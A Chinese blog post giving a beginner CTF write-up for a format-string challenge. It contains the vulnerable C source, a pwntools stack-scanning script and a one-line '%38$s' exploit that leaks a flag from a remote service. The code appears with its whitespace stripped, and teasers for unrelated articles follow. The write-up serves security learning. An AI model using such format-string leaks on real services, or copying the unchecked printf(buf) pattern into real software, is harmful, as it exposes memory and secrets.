news 2026/10/7 8:18:39

[HNCTF 2022 Week1]fmtstrre

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[HNCTF 2022 Week1]fmtstrre

格式化字符串漏洞利用读取特定地址内容

原思路的wp地址:https://www.nssctf.cn/note/set/13425里面有讲解位置参数的用法

平台:NSSCTF
方向:Pwn
知识点:格式化字符串
难度:入门

一、信息获取

可以先checksec一下

NX、SHSTK 和 IBT 都开着,但它们限制的是在栈上执行代码、篡改返回地址和间接跳转。这题只是用格式化字符串读取栈上已有的 flag 指针,不劫持控制流,所以这三项不影响。

二、分析

#include<stdio.h>charname[0x30];intkey;intmain(){setbuf(stdin,0);setbuf(stderr,0);setbuf(stdout,0);puts("Welcome to the world of fmtstr");puts("> ");intfd=open("flag",0);if(fd==-1){perror("Open failed.");}read(fd,name,0x30);size_t*pointer=&name;charbuf[0x100];puts("Input your format string.");read(0,buf,0x100);puts("Ok.");printf(buf);}

先分析源代码
程序把flag读进全局变量name,又把name的地址存进栈上的pointer。printf(buf)存在格式化字符串漏洞。用%n$s会把这一格当成字符串指针,顺着它读出name里的flag。

我们需要找到pointer是第几个参数(在哪里)

#先在本地执行确定位置frompwnimport*elf=context.binary=ELF('./ezfmt')r=process('./ezfmt')#扫栈payload=b''foriinrange(1,50):payload+=f'{i}%p\n'.encode()#%p 把那个参数当成指针的数值打印出来r.sendlineafter(b'Input your format string.',payload)r.interactive()

输出结果和ida中name的地址(0x4040c0)对应一下可得:
pointer为第38个参数
所以位置指示符应38$

三、EXP

frompwnimport*context.log_level="debug"io=remote(...)io.recvuntil(b"Input your format string.")io.sendline(b"%38$s")io.interactive()

可得flag

四、总结

这题的突破口是栈上的pointer。程序把 flag 读进全局变量name,又把name的地址存进pointer,随后直接printf(buf)。格式串可控,第 38 个参数正好是这个指针。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/7 8:18:26

PCB屏蔽罩图纸制作全攻略:从设计参数到实操避坑指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/10/7 8:18:11

AI用5天做游戏被版权叫停?浏览器游戏开发与IP风险全拆解

最近圈子里都在传一件事&#xff1a;有人用AI花了5天时间&#xff0c;做出了一个叫《辐射&#xff1a;纽约》的浏览器游戏&#xff0c;结果刚把试玩链接发出去&#xff0c;就被贝塞斯达发函叫停。作为一个常年折腾网页游戏和各种AI工具的人&#xff0c;我第一反应不是吃瓜&…

作者头像 李华